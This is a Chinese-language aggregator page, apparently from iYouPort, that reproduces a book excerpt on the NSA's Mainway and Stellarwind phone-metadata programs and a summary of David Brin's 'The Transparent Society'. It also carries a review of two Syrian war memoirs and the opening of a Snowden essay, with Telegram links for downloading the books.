Mainway 和 Stellarwind 是切尼在 “基地” 组织驾驶客机袭击五角大楼和世贸中心后的最初几周内创建的国内监视计划。**Stellarwind** 定义了行动；**Mainway** 是执行行动的工具。

当时，国家安全局知道如何对国外的电话进行这种全面的监视，但还不知道该如何对本国内部的电话做到同样的监视。

当国家安全局局长迈克·海登（Mike Hayden）于2001年10月4日收到

该特别计划的执行命令时，国家安全局的工程师在几天之内用裸机组装了一个系统，并借用了代码，这在压力之下被认为是一项了不起的成就。

他们从戴尔手中抢购了50台最先进的服务器，准备将它们运送给另一位客户，并将它们捆绑到一个快速、肮脏但功能强大的集群中。

Hayden 清理了 OPS 2B 中受特别限制的空间，OPS 2B是NSA马里兰州米德堡闪闪发光的总部大楼的内部圣殿。

当该计算机集群扩展时，纳入了大约**200**台机器，**Mainway** 蔓延到附近的 **Tordella** 超级计算机设施的一个节点。受信任的中尉们于10月6日至7日开始召集一小部分分析师、程序员和数学家。

10月8日哥伦布日，海登向这些人介绍了他们的新工作，在一个非常独特的新行动中。那天他把该行动叫做 “Starburst”。

不久之后，Stellarwind 的代号就取代了它。在同一个假期的周末，海登派出代号为S35的特殊来源行动部人员，向包括 **AT&T** 和 **Verizon** 在内的寡头公司秘密购买了大量的电话数据。在未来五年内这一采购的价格超过**1.02**亿美元。

国安局的其他人员不可能不知道这种喧嚣，他们看到新设备在武装护卫下以迅雷不及掩耳之势运送而来，但即使在最高权限持有者中，也几乎没有人知道到底发生了什么。

Stellarwind 被指定为 ECI，“特别控制信息”，是所有机密中最高级别的机密。切尼在他的西翼办公室下令，对外国情报监视法庭的法官和国会的情报委员会成员隐瞒 “Stellarwind”。

根据我的消息来源和2013年秋天研究过的文件，**Mainway** 随后很快就成为了**NSA**绘制社交网络的最重要工具 —— 该机构称为大型访问利用的锚点。

在米德堡，“大” 这个字不是随意使用的。Mainway 专为超大规模运营而设计。其他系统解析被截获的通信内容：语音、视频、电子邮件和聊天文本、附件、传呼机信息，等等。

Mainway 是元数据的女王，无论是针对国外还是国内的监视，都是为了找到内容本身没有显示出的重要信息。

除此之外，Mainway 还是更宏大计划的原型。

他们的规划者写道，下一代系统可以通过 “从传统的针对收集内容的分析，转向对收集目标的分析” 来放大监控的力量 —— 从通话记录中收集到的信息将确定电子邮件或位置数据库中的目标，反之亦然。

关于这个问题的关键发现出现在2012年绘制的一张大型网络图的右下角。那个角落里有一个小方框，如下，它终于回答了我的问题，即 国家安全局把我和 Blair 的电话通话记录藏在哪儿了。这些记录就藏在 Mainway 里。这其中的含义令人震惊。

整个网络流程图太大了，无法完整显示，该图追踪了来自 AT＆T 的 “计费元数据流” 如何沿着迷宫般的网络图谱流进了NSA总部迈德堡的 “口袋” —— Mainway。

数据进入 Mainway 前的最后一站 MAILLORDER 是一种文件分类和转发系统，扮演着电子交通警察的角色。

网络图中的 “BRF分区” 是根据 Business Records FISA 订单命名的，其中有12项是在2009年签署的，将数千亿次电话通话记录注入了 Mainway。

对于首次看到这张图的读者来说，可能会把标注 Mainway 的圆柱形图标误解为存储器。而实际上圆柱体是数据库的标准符号，**Mainway** 并不是存放静态数据的容器。在**NSA**它们被称为数据集市和数据仓库。

如果该机构仅存储美国的电话记录，则将其留在名为 Fascia II 的系统中，该系统是为 Mainway 提供服务的 “呼叫详细记录仓库”。

Mainway 在其第一财年提出的任务是 “使**NSA …**主导全球通信基础设施，以及在其中匿名运行的目标。”

该系统完成任务的方式对美国人的隐私人权具有重大影响。

出于很快就会明白的原因，我想在 SSO词典（一个保密的NSA参考文档）中复制一下 Mainway 的解释条目：

> （TS *SI* REL）Mainway 或 Mainway 预先计算的联系人链接服务（Mainway Precomputed Contact Chaining Service）是一种用于联系人链接的分析工具。它使分析师能够快速、轻松地查询日益增长的全球通信元数据，更快地发现目标。Mainway 解决了分析全球通信网络的数据规模过大问题 ……

在这个简短的词条介绍中有三个值得注意的术语：规模问题、关系链和预先计算。最后两个术语结合起来颠覆了我们对通话记录程序的理解，但是，在此之前，请先注意一下规模问题。

其实 NSA 面临各种规模性问题的挑战。

有太多的信息在全球网络之间高速移动，而 NSA 摄取过多，存储太多，太多的噪音就淹没了太少的有价值的信息。

但是，在我刚才引用的段落中，规模问题还涉及到其他问题，即 监控机器内部的问题，也就是 NSA “食欲不振” 的一种表现。收集系统 “贪多而难以消化”，问题出在处理而不是存储环节上。

长期以来，情报官员一直在通过引用布什总统的话来解释为什么要搞这么庞大的通话记录数据库 —— 布什说：“在我看来，如果有人在与基地组织谈话，我们想知道为什么。”

但实际上这完全不是 NSA 使用电话记录的方式。

该程序旨在找出任何与恐怖主义有联系的人，而不是为了查明原因，因此，这个程序事实上搜查了所有美国人。

FBI、NSA 通过其可以染指的每个帐户收集了五年的电话清单。那是数以万亿计的电话记录。在坏人的电话账单上查找号码可不需要搞这么大的动静。

这就是 contact chaining 的来源（联系链），该短语用于描述一种在非常大的数据集中查找隐藏的关系的极为复杂的分析形式。

联系链分析从目标电话号码开始，例如 波士顿炸弹袭击者 Dzhokhar Tsarnaev 的电话，并逐渐扩大范围，以查询 Tsarnaev 的联系人正在与谁交谈，以及这些人正在与其他任何什么人交谈，等等。

那些软件工具将呼叫记录映射为网格上的 “节点” 和 “边缘”，网格太大，超出了人脑的想象空间。

节点是地图上的点，每个点代表一个电话号码。边缘是在节点之间绘制的线，每条线代表一个通话。

一个名为 MapReduce 的大数据分析工具将数万亿个数据点浓缩为人类分析师可以掌握的摘要形式。

网络理论将社交地图称为社交图谱（social graph）。它为定义每个人与世界互动的关系和群体建模。

图的大小随着联系链的发展而呈指数级增长。

链接的全部目的是从目标的直接联系人向外推导到联系人的联系人、然后继续再向外推导。

该过程中的每个步骤都称为跃点（**hop**），跃点的层级数越多，社交图谱的人口规模将呈指数级增长。

一分钱一天翻一倍，不到一个月就能达到100万。这就是 “指数级增长” 的模样。

随着联系链不断跳动，社交图谱的增长速度更快。如果平均一个人每年给另外10个人打电话或被打电话，那么每一次跳动都会产生NSA联系图谱的10倍人口增长。

我们中的大多数人与其他人通电话的次数远远不止10次。

不管这个数字是多少，几十个还是几百个，你都要把它乘以其本身，来衡量每一次跳跃时的增长。

国家安全局前副局长 John C. Inglis 在2013年向国会作证说，国家安全局分析师通常分析呼叫数据的深度只有 “两三跳“。作为背景知识，数据科学家几十年前估计，跟踪地球上任何两个人之间的路径所用的跳数都不会超过六跳（六度空间理论）。

学术研究表明，平均三跳就可以追踪到任何两个美国人之间的路径。

但是，即使对于 Mainway 这样强大的系统来说，要分析整个美国的电话记录都是一项极为艰巨的计算任务。

每当 Mainway 的运营商要求建立新的联系链时，Mainway 就必须在时间压力下按需生成关系图谱。

没有人能预测下一个领导者的名字或电话号码。

从数据科学家的角度来看，逻辑上的补救办法是明确的。如果任何人都可以成为情报目标，那么 **Mainway** 应该尝试抢先一步，给所有人 “画像”。

“你必须建立所有这些关系，并对其进行标记，以便在启动查询时可以快速获取它们”，几年前，国家安全局前副局长 Rick Ledgett 说，“否则，你要花一个月的时间浏览一份专线专用的电话账单。那就是为什么要引入预计算， Mainway 在 7×24 不停歇地关联其数据库信息”。

您可以在最基本的层面上将其工作看成一本书的索引，尽管这本书包含了数亿个主题（电话号码）和数万亿个条目（电话）。

这种联想其实是有缺陷的。那就是，听起来它像是一项最终会完成的工作。 但事实并非如此，Mainway 的工作永无止境。它试图索引正在编写的书，那书永远是不完整的。

联邦调查局每天通过电话公司为国家安全局输送的新电话记录超过**10**亿条。Mainway 必须每天再 “吃下” 这10亿条数据，以符合 FISA 法院对通话信息保留5年的限制。

每次新数据引入都会通过社交图表进行级联，重新绘制地图并迫使 Mainway 不断更新。

换句话说，Mainway 的目的既不是存储也不是准备简单的数据列表，而是进行持续的、复杂的、和高强度的运算，为另一个被称为 “内存图谱计算”（Graph-in-Memory）的数据库提供资源。

在2013年4月波士顿马拉松炸弹爆炸案发生时，“内存图谱计算” 已经准备就绪。在FBI开始调查之前，Mainway 已经掌握了嫌疑人 Tsarnaev 兄弟的电话联系人图谱，包括基本的细节 —— 日期、时间、持续时间、忙音、未接来电、和 “呼叫等待时间” —— 可供轻松按需检索。

Mainway 已经提前处理了它们。借助第一跳的预先计算，内存中预计算的关系图谱可以更快地完成第二和第三跳的工作。

为了随时准备一张 Tsarnaev 的图谱，**Mainway** 还必须为其他所有人预先计算一个图谱。而且，如果 **Mainway** 拥有您的电话记录，它还会保存您的业务和个人生活的大致示意图。

当我在2013年秋天解析文档并采访了消息来源时，其含义终于浮现了。美国国家安全局已经建立了一个实时的、不断更新的美国社交图谱。

实际上美国人的电话记录没有被冷存储，这些数据没有闲着，它们被

编排在每个人的“一跳”接触链中。社交、医疗、政治、专业等所有秘密均已被 7×24 预先计算。

这是一个预先配置好的数据库，只需按一下按钮就可以调出任何一个人的“画像”。

我很清楚，美国不是东德。当我把这张画像拼凑在一起时，我没有理由相信美国国家安全局（NSA）滥用了美国人生活的实时地图。即使布什的总检察长 Michael Mukasey 越过了边界，该规则仍对美国电话记录的使用施加了一些限制。

根据隐私和公民自由监督委员会的说法，只有22位高级官员有权下令根据 Mainway 的FISA分区中的数据建立联系链。

但是，历史上没有人相信政府的行为总是遵循规则，或者规则永远不会以危险的方式改变。

你应该记得，理查德·尼克松下令窃听他的政治敌人。联邦调查局将小马丁·路德·金（**Martin Luther King Jr.**）判定为“危险且有效的黑人”，并利用秘密监视记录了他的性关系。埃德加·胡佛（**J. Edgar Hoover**）的一名中尉威胁 **King** 自杀，否则就将他的性生活曝光。

滥用监视的情况并不是仅存在于历史上，最近也经常在发生。

FBI 在没有逮捕令的情况下非法部署了数百个的GPS跟踪设备。

纽约警方系统性地监视了各大清真寺。

- 在这里看到对穆斯林的监视和压迫《高明的反抗》

各级政府都在最大程度地使用国家权力，有时甚至是非法使用国家权力，监视因贫困、种族、宗教、种族和移民地位而处于不利地位的社区。

- 《警察都使用什么手段瞄准抗议者》这篇文章很重要

作为总统候选人时的唐纳德·特朗普就已经明确威胁要把他反对的候选人入狱。上任后，他宣称拥有控制任何政府机构的绝对权利。特朗普还向司法部公开和私下施加了巨大的压力，要求对批评者进行刑事调查。〇

以上只是一个章节。您可以在这里下载这本书：

上图中这本书在这里下载：https://t.me/iyouport/6906

原文

在正反乌托邦之间 - iYouPort

免费书和纪录片

引述一本有趣的书，它和 IYP 一直以来的立场存在明显不一致的地方，但我们希望引用它，以开阔视野，关于：还有其他思路存在以及它们有些什么道理；

「图」

「图」

David Brin 在1998年写了一本书，题为《透明社会：技术会迫使我们在隐私和自由之间作出选择吗？》这本书比较有意思，其中布林提出的不仅仅是解决监控技术问题的不寻常方法。他提出了对公民与国家关系的看法。本文总结一下该书的观点，其中部分有道理，虽然整体上明显是保守派的思考方式，但我们对其的引述不考虑政治倾向。

简而言之，布林认为自由不是在国家薄弱时兴旺，而是在国家真正负责任时。问责制反过来要求政府程序必须公开，公民必须保持警惕、并有效监督和质疑公职人员的行为。

揭露监视计划的 Edward Snowden 被共和党众议院领袖 John Boehner 谴责为“叛徒”，当时奥巴马政府声称要起诉斯诺登。

从布林的角度来看，斯诺登应该被视为英雄。政府保密最有可能导致滥用和/或无能。公民监督会让我们感觉更好。在布林的比喻中，举报人等同于T细胞，T细胞是专门的白细胞，可以冲刷血液扫除有害物质。

然而，与许多被 PRISM 监视技术曝光吓到的公民自由主义者不同，布林并不打算看到政府放弃监视技术。布林认为限制政府的监视能力很可能无法实现。相反，他建议考虑以下矩阵，改编自他使用的矩阵。

「图」

「图」

许多公民自由主义者主张矩阵右侧的某些东西，关于政府必须放弃监视技术。布林称之为“强大的隐私权倡导者”的一些人希望看到任何人都无法使用监控技术，从而导致右下象限的“隐私乌托邦”。

即使右下象限是可取的，布林也指出这很难做到。他认为监控技术的使用无法抑制。实际上，如果我想抑制你对监控技术的使用，很难想象如果我不自己使用监控技术就能做到这一点。

相反，布林认为我们应该针对左上象限：我虽然无法抑制你对监控技术的使用，但我可以影响你如何使用它。如果你是偷窥狂，我将掌握技术，知道你什么时候侵犯我的隐私，我可以揭露你，羞辱你，或对你采取法律行动。

谈到政府窥探，在透明的社会中，人们会知道政府机构如何使用它获得的信息。当机构滥用权力时，人们将有能力惩罚官员并强制改变。此外，公民将有机会提出更好的方式来使用信息，减少政府的权力滥用和无能—— 监视技术并没有阻止恐怖袭击，它只是侵犯了无辜的人。

许多自由主义者可能倾向于选择右上象限。也就是说，他们认为没有必要限制私营部门的监控能力（在美国这种思路尤其常见），但他们希望政府严格限制对监控技术的使用。在布林看来，这种试图限制政府的做法是短视的，反过来会降低安全性，“政府虚弱的不安全环境是暴政的肥沃土壤”。布林写道：

只要紧急情况给一些有魅力的领导者提供新权力的借口，弱势政府就可以迅速扭转这种局面。从凯撒到拿破仑，从列宁到墨索里尼再到希特勒，都是从以前虚弱的中央政权中创造即时独裁统治的，这是一种经典方法。

布林反对那些认为政府监视本身就是专制的人，他说：

把目光转向过去，我们看到几乎所有形式的暴政都依赖于同样的最终控制方式：灌输，堕落，恐怖，监视和告密（群众斗群众）。

布林认为，如果没有采取上述其他方法，单靠监视就不是威胁。防止暴政的关键是确保公民有能力抵制其他方法的实施。IYP对此有怀疑，因为在我们看来，监视的目的就是在令当权者更方便地使用上述“其他方法“，同时是监视给了当权者以能力可以做到遏制民间对这

些方法的反击。

布林写道：

对一个国家的健康最重要的是什么？问责制。许多思想和才能致力于通过思想市场解决问题。由于没有一个统治者能够发现所有错误，特别是他自己的错误，公开的揭露批判就有助于一个国家逃避灾难。那么对暴君的健康最重要的是什么？保密。对于金字塔顶端的特权阶层来说，揭露本质上是危险的，它可以破坏绝对权威，甚至导致反叛。

他明确拒绝零和框架，在这种框架中，任何政府权力或效力的增加必须以个人自治为代价。在寻求自由社会的过程中，他没有把自己的筹码放在确保政府弱势的机制上。

在隐私和监视问题上，他并没有寻求每个人放弃使用技术的法律，而是建议可能出现一种自发的秩序，他称之为“相互保密的监视”，导致人们自我约束。他提供了一个拥挤餐厅的类比。在那里，每个人都有技术（耳朵）来窃听临桌的谈话。然而，一种自发的秩序已经发展，人们不希望其他人窃听自己，并且知道窃听行为是可耻的，人们就不会窃听。更广泛地说，我们将发展习惯，知道什么时候可以期待窃听，什么时候可以期待隐私。

这明显是非常理想主义的，基本忽略了人性的弊端。

布林认为，只要公民有批评和改变政府的途径，出现的秩序将是一个自由的开明的社会。

最后，布林似乎在说，重要的是我们作为公民对与政府及其领导人关系的信念。如果公民能够监督、自由批评、有权投诉，并有责任寻求改进，那么即使政府很强大，即使它拥有监控技术，人民也可以拥有自由。另一方面，如果人们愿意允许领导人秘密行事并扼杀批评，那么甚至都不需要监视技术或法律权威就能粉碎自由。

这是一本有趣的书，显然和 IYP 一直以来的立场存在不一致的地方，但我们希望引用它，以开阔视野，关于：还有其他思路存在以及它们有些什么道理。

布林所描绘的背景显然是民选政府的国家，恐怕不适用于天然的独裁国家，但他提出的建议对于政治变革后尤其是没有民主经验的社会来说，很具有参考价值，比如中国。 广告

原文

在死神的肆虐中捡起被丢弃的故事 —— “我们的家园，我们自己的反抗” - iYouPort

中东和北非免费书和纪录片

“我以前从未想过会成为一名战士，但在我生命中的那一刻，这就是我想成为的一切”.....嘈杂的地缘政治剧本和无尽的战争宣传充斥着这场持续了八年的噩梦，真正的革命却被淹没。但这不是结束，那些最为珍贵的部分，关于噩梦的真相，它们并没有丢失。

「图」

「图」

叙利亚的战争，现在是第八个年头，已经被一系列可怕的大屠杀打断了 — 如此多的死亡，以至于几乎不可能完整地跟踪。但是 2013 年 8 月 21 日巴沙尔阿萨德政权在大马士革郊区释放沙林毒气的那一天，大屠杀是一个不容易被遗忘的事件。对于那些追随地缘政治的人来说，这是叙利亚独裁者超越了巴拉克·奥巴马总统臭名昭著的“红线”的那一天。对于陷在极其痛苦的无血死亡中的 1000 多人的亲属们来说，这是一个黑暗和哀悼的日子。对于 Kassem Eid 来说，那是他死去的日子，也是重生的一天。

在他的新书“我的国家：叙利亚回忆录”中，这位来自大马士革郊区 Moadamiya 的巴勒斯坦籍叙利亚活动家 Eid 描述了自己如何在这个8月的早晨醒来。“我的眼睛在燃烧，我的头不停地抖动，我的喉咙因为空气而嘶哑。我感到窒息“，他写道，描绘了一个经常发生在抽象辩论中的场景。“突然我的气管再次打开。空气撕裂了我的喉咙，刺穿了我的肺部。无数根看不见的针刺伤了我的眼睛。我的腹腔内发出一阵灼热的疼痛。”

几个小时之后，他再次醒来时 — 发现自己正躺在一家野战医院的地板上，他知道自己已经被计入了死者的行列之中。

他英语流利，部分是因为长大后经常与父亲一起读“读者文摘”杂志，在此之前，Eid 确信他能够作为媒体活动家以更好地为革命服务。

但那天的景象 — 窒息的孩子们，他们的脸变成了蓝色和紫色，呕吐物从他们的嘴里滴落 — 无以伦比的痛苦和怪诞令人无法忍受。他第一次决定拿起武器。

他记得照着镜子，却不认识自己。“无论这是谁 — 或其他什么东西 — 这都不是 Kassem，”他写道。“这是一个怪物，一头野兽，眼睛里布满了血丝，狂野的脸庞充满了愤怒和痛苦。愤怒的形象是人格化的。我以前从未想过自己会成为一名战士，但在我生命中的那一刻，这就是我想成为的一切。”

上周在美国发行的这本书是关于叙利亚起义的极少数以第一人称写作的英语版回忆录之一，这是一系列缓慢增长的同类著作中的最新一本。

虽然其他人也讲述了他们自己的故事，但像 Eid 这样的书籍，也就是叙利亚人希望说出他们自己的作品，明显激增，提醒这个世界正在越来越多地被过分夸大的恐怖主义威胁所困扰，从而忽视了真正的人民正在进行的革命，在战争中战斗，遭受着伤害和损失。

在外部行动者正在与阿萨德关系正常化并监督叙利亚国家的“稳定”的时候，这些书籍提醒了我们革命的起源 — 威权主义治下的个人经历推动了数十万人走上街头 — 以及叙利亚人如何自己以无数种方式参与其中并受到冲突的影响。外国攻击者在叙利亚所扮演的角色可能会过度占据国际语话，但它肯定不能否定那些生活在复兴党统治下的人们凄惨的经历。

当然， Eid 的故事早在他“复活”之前就已经开始了。他的书揭开了巴勒斯坦籍叙利亚人经历的窗口，以雄辩的方式概述了一个在拒绝宣誓效忠复兴党的家庭中成长的经历。他讲述了一系列令人遗憾的事件，这些事件使得他对革命的拥抱几乎是不可避免的，因为人民起义于 2011 年 3 月敲响了他的家乡 Moadamiya 的大门。

最重要的是，这一回忆录是一个极其深刻的关于个人生存故事，试图在完全黑暗的时代里抓住生命和人性的故事。

当以色列在 1948 年将 750,000 名巴勒斯坦人赶出家园时 — 巴勒斯坦人称之为 “**nakba**” 或灾难 — Eid 的父亲和他的家人徒步前往叙利亚，在那里他们开始了被视为二等公民的生活。（Eid 的母亲的家人

在 nakba 期间也被迫离开巴勒斯坦; 她出生在约旦，是约旦公民。 ）

叙利亚政府拒绝给予巴勒斯坦人以公民身份，声称这样做会干扰他们祖宅令人垂涎的“回归权”。 “这在原则上听起来有点道理，”Eid 写道，“但实际上，这意味着叙利亚的巴勒斯坦人永远无法完全融入社会，而且永远都是难民，没有公民的充分权利。”

「图」

「图」

Eid 还是一个孩子的时候就接受了一些暗示，从政治上讲，叙利亚的某些事情是不对的。他想知道，为什么成年人谈论巴勒斯坦、以色列和美国的政治 — 而不是他们自己国家的政府。

在他上学的第一天，6 岁时，他在上午集会期间感到不舒服，在那里，学生们被告知要吟唱他并不理解的复兴党口号。当他走进教室，看到了一张喜气洋洋的阿萨德的大型照片，叙利亚的不朽领袖，他感到自己害怕阿萨德的微笑。那天晚上，他被问起在学校看到了什么。他的父亲解释说，哈菲兹·阿萨德在 1970 年杀害、监禁或放逐了他所有的政治对手，在一连串的罪行后上台执政。出于这些原因，Eid 的父亲，一名记者，拒绝加入复兴党。

没有加入复兴党对他父亲的职业生涯产生了明显的影响，这种影响也逐渐渗透到他的家庭生活中。作为一名六年级的学生，Eid 自己也感受到了严峻的后果。尽管他的表现优于他的同学，但最终他的成绩却被扣除了，反而低于他那位同学 — 那同学的父亲是军事飞行员和复兴党成员 — 被认为是最优秀的学生。

“教育在叙利亚是如何运作的？如果只是这样，那么努力学习也没有意义，“Eid 写道。 “在此之后，我开始对学习失去了兴趣。”

这是 2011 年革命发生前的几年中，Eid 遭受的教育、个人或职业损失的第一次，只因为他的父亲 — 以及最终他自己也同样 — 拒绝成为复兴党人。当 Moadamiya 的人民于 2011 年 3 月 18 日举行第一次反政府抗议游行，呼吁进行改革时，Eid 的家人持有谨慎乐观的态度，他们甚至能猜到，作为一个被边缘化的群体，巴勒斯坦人很可能要背黑锅，因骚乱而受到指责。

“这是一个情绪高涨但情绪复杂的时期，”他写道， “我知道我的母亲对革命以及抗议活动感到高兴 — 看到人们最终说出他们的想法，看

到人们反对那个政权，它正是导致我父亲早逝的原因 — 但我母亲的兴奋中带着恐惧。作为巴勒斯坦籍叙利亚人，我们一直被置于社会的边缘。“

Moadamiya 位于大马士革外三英里处，周围有许多重要的军事基地，对该政权具有重要的战略意义。最终，这场运动逐渐变成了镇子居民的武装抵抗。到 **2012** 年中期，很明显双方都无法获得军事胜利，而且政权开始采用针对 **Moadamiya** 的新战略：饥饿。

到 2013 年 8 月发生化学武器袭击时，整个城镇已经被围困了 9 个月，导致严重的营养不良。“饥饿已经夺走了镇上无数的生命和每个人的希望，”Eid 写道，“包括我在内。”

那年的十一月，Eid 开始绝食，以引起人们对城镇所遭受痛苦的关注，要求解除阿萨德政权对 Moadamiya 的武装围困。使用化名 Qusai Zakarya，他在博客上写下了他的绝食抗议。在北美积极人士的帮助下，他得到了 Noam Chomsky, Norman Finkelstein, 众议员 Keith Ellison, D-Minn 的支持，后者加入了团体性绝食抗议。

由于他的突出地位，Eid 成为了该政权的主要目标，他开始意识到，他们想用他作为支持当地停火协议的喉舌。该政权的要求是“愚蠢的，意在剥夺我们的尊严并取代我们，”Eid 写道。“我不想成为另一个流离失所的叙利亚人 — 这加剧了我作为巴勒斯坦流亡者的历史之痛。”

最终，Eid 感到非常失望，以至于他利用政权的绝望于 2014 年 2 月谈判离开叙利亚。在美国的叙利亚活动家的帮助下，他来到美国，过去四年来他在美国度过了大部分时间。（2014年，Eid 在全国各地进行了一次巡回演讲。当时我还是一名法学院学生，五月，我组织并主持了一场在我的母校南佛罗里达大学举行的演讲活动）

Eid 的回忆录撕心裂肺，令人难以忘怀，并证明了他的韧性。这是他致力于揭示叙利亚人所遭受的无法形容的暴行以及他公开为被阿萨德政权冤枉的人寻求正义的决心的最新表现。

作为美国在叙利亚政策的长期批评家 — 尤其是考虑到奥巴马政府与俄罗斯协调了一项协议，其中阿萨德政权声称在 Eid 幸存下来的化学武器袭击后已将其化学武器库存转交 — **Eid** 现在更深刻地感受到了特朗普政府的叙利亚政策中的某些部分。他开始揣摩这位总统的自负和对叙利亚空袭的欢呼，不论是谁投下的炸弹。一些在线评论员质疑的这一策略突显了在不悔改的阿萨德政权手中的叙利亚人所遭受的令

人担忧的地位。

「图」

「图」

From Chapter 5 of “Brothers of the Gun: A Memoir of the Syrian War,” a scene depicting protesters in Raqqa, Syria, in 2012. Illustration: Molly Crabapple

Moadamiya 的武装冲突参与者主要是该国的叙利亚人，尽管在政府方面有一些外国人参与。但在该国其他地区，叙利亚本土叛乱是让位于外国入侵的。在 Eid 离开后的几个月里，外部势力在叙利亚达到了最高峰。到 2014 年年中，该国北部省会拉卡（Raqqa）被来自国外的战士所淹没，成为所谓的伊斯兰国事实上的首都。

三年前，Raqqawis（ISIS 发起人、臭名昭著的拉卡维）加入了反对阿萨德的革命。到 2013 年，叙利亚叛军与基地组织附属武装组织 Jabhat al-Nusra 一起战斗，从政权控制中夺取了该市。伊斯兰国最终迫使叛军出局，并在拉卡控制了法庭，直到 2017 年，一个由美国领导的联盟占领了该城市 — 在此过程中也摧毁了这个城市。

延伸阅读：《"//ISIS 简史//"》

随着这座城市中的权力一次又一次地转手，拉卡人民在不确定的悬崖上生活了多年。“在其所有的野蛮和不妥协中，我们直接了解了政权，”Marwan Hisham 在《Brothers of the Gun: A Memoir of the Syrian War》这本回忆录中写道，他与作家兼插画家 Molly Crabapple 共同撰写这本书。“反叛分子完全不为人知，但他们声称在以我们的名义进行战斗。也许他们可能会开放对我们的影响。拉卡站在一个岔路口上，在两个潜在的未来 — 监狱与无政府状态 — 之间。”

在那时，Hisham 这个 Raqqa 土生土长的人，无法预见他的家乡将成为一个多么黑暗的监狱。在他令人难以忘怀的文笔优美的回忆录中，他提供了一个关于城市生活的亲密视角 — 从叙利亚工薪阶层人民的革命前斗争到起义的兴奋，与伊斯兰国的虚无主义者分享一个城市所带来的恐怖和道德困境。 Crabapple 完美无瑕的插图为生活带来了生动而开阔的眼界。

「图」

「图」

“Brothers of the Gun: A Memoir of the Syrian War,” co-authors Marwan Hisham, left, and Molly Crabapple. Left photo: Molly Crabapple; Right photo: Clayton Cubitt

这本书主要涵盖了拉卡的生活，但由于 Hisham 的旅行经历和作家身份，他对更广泛的冲突有着细致入微的理解，这本书也记录了发生在叙利亚其他地方的战争动态。压迫拉卡人民的伊斯兰教派系属于逊尼派，但 Hisham 和 Crabapple 还写到了该国其他地区的什叶派武装分子的扩散情况，这一作用正是通常在国际反恐论述中被忽视的部分。

他们写道：“由于当地的情况倾向于对反叛分子的青睐，阿萨德政府邀请什叶派圣战分子前来叙利亚，并在他们的战争电影中扮演主角。”无论是逊尼派还是什叶派，对叙利亚的入侵都产生了单一的影响：“越来越多的叙利亚人被排除在舆论关注之外。外国人指挥现场。”

面对那些假装服从占领了他的城市和实施酷刑的外国人的选择，Hisham 早期选择了“简单维生”的策略。但就连这也变得越来越困难，因为伊斯兰国不仅实施体罚，而且还宣称其招募儿童兵和被奴役的 Yezidi 妇女，这些妇女是被武装分子从伊拉克贩运到叙利亚的。

他描述了在叔叔的咖啡馆里为武装分子提供服务的过程中的内心斗争，“我因为在咖啡馆工作而感到内疚。而且总是如此，”他写道 — 并思考自己到底应该离开还是留在这个他出生的城市里，“留下来是不是自欺欺人？闭上眼睛假装看不见这个城市堕落的轨迹？” 他在一段话中写道。“如果只是为了生存，这样做是否有罪？我有义务离开吗？“

Eid 和 **Hisham** 之间的一个区别只是后者没有拿起武器。 2014 年，在武装分子对美国记者詹姆斯弗利（James Foley）的野蛮和公开杀戮之后，西方政府首次对拉卡（Raqqa）产生了浓厚的兴趣。美国开始在所谓的反恐战争的标题下轰炸这座城市。那时起，**Hisham** 选择了新闻的道路，承担起了报道伊斯兰国罪行的潜在致命的任务。

他为一些国际新闻媒体撰稿。最终，他与 Crabapple 合作，他们称之为“艺术犯罪”：给 Vanity Fair 杂志，Hisham 拍摄了伊斯兰国控制的 Raqqa 地区和伊拉克摩苏尔的场景，以及反对派控制的阿勒颇，Crabapple 则把这些场景变成了画作。这些合作是艺术和文学杰作 “Brothers of the Gun” 的诞生创立了坚实的基础。（Hisham 在他离

开叙利亚前往土耳其后曾两次为 2016 年的 The Intercept 写作。 ）

在这里下载这本书：https://t.me/iyouport/6690

「图」

「图」

Image: Courtesy of Penguin Random House

作者不加批判地采用“伊斯兰主义”，“Salafi 萨拉菲”和“圣战”这两个词 — 这些词经常被混淆和误解 — 但他们在观察伊斯兰武器化对叙利亚和世界其他国家的影响力方面具有先见之明。对于长大过程中不情愿地就读于宗教学校的 Hisham 来说，影响是非常个人化的。“他们不仅劫持了起义，还劫持了我的生活，然后他们看不起我，好像我是那个应该感到羞耻的人，”他写道。

“我对我的国人们感到愤怒，因为他们在政治上一无所知，以至于他们无法看到正在恶化的东西以及在外面世界否认我的关于自我识别的选择。”

Raqqa 弥漫的邪恶最终迫使 Hisham 远走高飞，使他成为了自 2011 年以来在国外边境避难的 600 万叙利亚人之一。

就像 70 年前被迫离开巴勒斯坦的 Eid 的祖先们一样，叙利亚人在经历他们自己的 “nakba” 之后切断了有朝一日重返家园的可能性。Hisham 写道：“回归：摧毁巴勒斯坦人的未来，以及像我们这样的阿拉伯国家否认他们享有平等的地位。” “回归。他们的原则是多么的拙劣，他们又如何能无限地试探我们。“

Eid 和 **Hisham** 的启示性回忆录的发表正处于关键时刻，此时普通的叙利亚人越来越多地写出了他们国家的故事。然而相反，国际角度上占主导地位的叙事却变成了阿萨德政权与伊斯兰国的错误二分法，或者更糟糕的是，关于外国势力在现在被破坏的国家中争取影响力的事实 — 没有被提到那些勇敢地以各种形式反抗压迫的叙利亚人。

Eid 作为大马士革以外的巴勒斯坦籍叙利亚人，以及在拉卡的土生土长的 Hisham，在革命前后经历过截然不同的生活，但他们的故事中有一个共同点，那就是，他们在阿萨德政权下过着堕落的生活。他们不可能代表整个叙利亚的民众 — 他们也没有声称代表 — 但他们的经历对加深我们对叙利亚社会丰富、复杂而日益破碎的现实的理解，将有很大的帮助。

"OUR COUNTRY, OUR STORIES: IN NEW MEMOIRS, SYRIANS DESCRIBE LIFE — AND DEATH — IN WARTIME" by Maryam Saleh July 8 2018, 1:00 p.m.

原文

大规模监视的时代不会永远持续下去 - iyouport

免费书和纪录片

【2020年11月27日存档】终结它的力量就在您手中。（这是斯诺登的文章）

以下是斯诺登的文章。

当我还在中情局工作的时候，如果你告诉我，很快就会有一个依靠激光器和交通锥作为剑和盾的青年反叛运动，并且会使世界上最富有和最强大的政府之一瘫痪，我至少会皱起眉头。

然而，当我在近十年后写下这些文字的时候，这正是香港正在发生的事；就是在这个城市里，我与记者们见面，透露了一个秘密，这个秘密将我从一个政府特工变成了世界上最重要的通缉犯之一。

- 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

碰巧，你现在手中拿着的那本书当时就躺在桌子上，那是我最后一个用信用卡支付的酒店房间的桌子。

我给这些记者看的是政府自己的机密文件，它证明了自称“五眼”—— 美国、英国、澳大利亚、新西兰和加拿大的国家间谍机关—— 共同密谋削弱其法律的背后故事。

